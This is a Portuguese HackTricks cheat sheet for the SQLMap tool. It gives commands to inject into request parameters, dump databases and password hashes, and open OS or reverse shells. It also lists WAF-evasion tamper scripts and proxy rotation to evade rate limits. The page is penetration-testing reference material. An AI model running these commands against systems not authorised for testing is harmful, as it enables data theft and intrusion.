SQLMap

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Argumentos básicos para SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Flags de técnica (--technique)

O argumento --technique define quais métodos de SQL injection que o sqlmap tentará. Cada caractere na string representa uma técnica:

LetraTécnicaDescrição
BBoolean-based blindUsa condições true/false para inferir dados
EError-basedAproveita mensagens de erro verbosas do DBMS para exfiltrate resultados
UUNION queryInjeta UNION SELECT statements para obter dados através do mesmo canal
SStacked queriesAdiciona instruções adicionais separadas por ;
TTime-based blindBaseia-se em atrasos (SLEEP, WAITFOR) para detectar SQL injection
QInline / out-of-bandUsa funções como LOAD_FILE() ou canais OOB como DNS

A ordem padrão é BEUSTQ. Você pode rearranjar ou limitá-las, por exemplo, apenas Boolean e Time-based nessa ordem:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Recuperar Informações

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB dados

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Local de Injection

A partir da captura do Burp/ZAP

Faça a captura da request e crie um arquivo req.txt

sqlmap -r req.txt --current-user

Injeção em Requisição GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injeções em Headers e outros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Rastrear um site com SQLmap e auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizando Injection

Definir um sufixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ajuda para encontrar boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescrição
apostrophemask.pySubstitui o caractere apóstrofo pelo seu equivalente em largura total UTF-8
apostrophenullencode.pySubstitui o caractere apóstrofo pelo seu equivalente unicode duplo ilegal
appendnullbyte.pyAnexa caractere NULL codificado ao final do payload
base64encode.pyCodifica em Base64 todos os caracteres de um payload dado
between.pySubstitui o operador maior que (‘>’) por ‘NOT BETWEEN 0 AND #’
bluecoat.pySubstitui o caractere espaço após uma instrução SQL por um caractere em branco aleatório válido. Depois substitui o caractere = pelo operador LIKE
chardoubleencode.pyDupla codificação URL de todos os caracteres em um payload dado (não processando os já codificados)
commalesslimit.pySubstitui instâncias como ‘LIMIT M, N’ por ‘LIMIT N OFFSET M’
commalessmid.pySubstitui instâncias como ‘MID(A, B, C)’ por ‘MID(A FROM B FOR C)’
concat2concatws.pySubstitui instâncias como ‘CONCAT(A, B)’ por ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyCodificação URL de todos os caracteres em um payload dado (não processando os já codificados)
charunicodeencode.pyUnicode-url-encoda caracteres não codificados em um payload dado (não processando os já codificados). “%u0022”
charunicodeescape.pyUnicode-url-encoda caracteres não codificados em um payload dado (não processando os já codificados). “\u0022”
equaltolike.pySubstitui todas as ocorrências do operador igual (‘=’) pelo operador ‘LIKE’
escapequotes.pyEscapa aspas com barra (’ e “)
greatest.pySubstitui o operador maior que (‘>’) pelo seu equivalente ‘GREATEST’
halfversionedmorekeywords.pyAdiciona comentário MySQL versionado antes de cada keyword
ifnull2ifisnull.pySubstitui instâncias como ‘IFNULL(A, B)’ por ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyEnvolve a query completa com comentário versionado
modsecurityzeroversioned.pyEnvolve a query completa com comentário com versão zero
multiplespaces.pyAdiciona múltiplos espaços em volta de keywords SQL
nonrecursivereplacement.pySubstitui keywords SQL predefinidas por representações adequadas para filtros de substituição (ex.: .replace(“SELECT”, “”))
percentage.pyAdiciona um sinal de porcentagem (‘%’) na frente de cada caractere
overlongutf8.pyConverte todos os caracteres em um payload dado (não processando os já codificados)
randomcase.pySubstitui cada caractere de um keyword por uma variação aleatória de case
randomcomments.pyAdiciona comentários aleatórios aos keywords SQL
securesphere.pyAnexa string especialmente construída
sp_password.pyAnexa ‘sp_password’ ao final do payload para ofuscação automática em logs do DBMS
space2comment.pySubstitui o caractere espaço (’ ’) por comentários
space2dash.pySubstitui o caractere espaço (’ ‘) por um comentário em dash (’–‘) seguido por uma string aleatória e uma nova linha (’\n’)
space2hash.pySubstitui o caractere espaço (’ ‘) por um caractere pound (’#‘) seguido por uma string aleatória e uma nova linha (’\n’)
space2morehash.pySubstitui o caractere espaço (’ ‘) por um caractere pound (’#‘) seguido por uma string aleatória e uma nova linha (’\n’)
space2mssqlblank.pySubstitui o caractere espaço (’ ’) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mssqlhash.pySubstitui o caractere espaço (’ ‘) por um caractere pound (’#‘) seguido por uma nova linha (’\n’)
space2mysqlblank.pySubstitui o caractere espaço (’ ’) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
space2mysqldash.pySubstitui o caractere espaço (’ ‘) por um comentário em dash (’–‘) seguido por uma nova linha (’\n’)
space2plus.pySubstitui o caractere espaço (’ ‘) por um plus (’+’)
space2randomblank.pySubstitui o caractere espaço (’ ’) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos
symboliclogical.pySubstitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& and ||)
unionalltounion.pySubstitui UNION ALL SELECT por UNION SELECT
unmagicquotes.pySubstitui o caractere de aspas (’) por uma combinação multi-byte %bf%27 juntamente com um comentário genérico no final (para funcionar)
uppercase.pySubstitui cada caractere de um keyword por valor em maiúsculas ‘INSERT’
varnish.pyAnexa um header HTTP ‘X-originating-IP’
versionedkeywords.pyEnvolve cada keyword não-função com comentário MySQL versionado
versionedmorekeywords.pyEnvolve cada keyword com comentário MySQL versionado
xforwardedfor.pyAnexa um header HTTP falso ‘X-Forwarded-For’
luanginxmore.pyTamper somente para POST que antepõe milhões de parâmetros fictícios para esgotar parsers Lua‑Nginx WAF (ex.: Cloudflare).

luanginxmore gera ~4.2M parâmetros POST aleatórios antes do seu payload; use-o apenas com --method=POST e espere que requisições muito grandes possam derrubar WAFs Lua-Nginx mal configurados.

Switches recentes que vale a pena ativar (>=1.9.x)

  • HTTP/2 transport: --http2 força o sqlmap a usar HTTP/2 (útil contra front-ends que limitam a taxa em HTTP/1.1 mas relaxam para h2). Combine com --force-ssl para fixar HTTPS.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 rotaciona por uma lista, trocando o proxy a cada 3 requisições para evitar limitação baseada em IP.
  • Offline / purge modes: --offline reutiliza dados de sessão em cache sem tocar o alvo (tráfego de rede zero), enquanto --purge limpa de forma segura o diretório de sessão/output quando você terminar.
  • Mobile UA emulation: --mobile pede para você falsificar um User-Agent de smartphone popular, útil em APIs que expõem campos adicionais para clientes móveis.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks